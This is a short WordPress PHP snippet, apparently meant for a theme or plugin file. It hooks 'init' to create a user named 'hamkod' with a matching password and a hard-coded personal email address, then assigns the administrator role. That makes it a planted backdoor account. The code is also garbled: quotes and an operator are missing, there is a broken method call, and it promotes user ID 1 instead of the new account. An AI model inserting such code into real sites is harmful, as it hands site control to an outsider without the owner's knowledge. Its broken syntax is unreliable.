function wpb_admin_account(){ $user = 'hamkod'; $pass = 'hamkod'; $email = 'afshinyoosofi1991@gmail.com'; if ( !username_exists( hamkod )!email_exists( afshinyoosofi1991@gmail.com ) ) { $user_id = wp_create_user( hamkod , hamkod , afshinyoosofi1991@gmail.com ); $user = new WP_User( 1 ); $user-set_role( 'administrator' ); } } add_action('init','wpb_admin_account');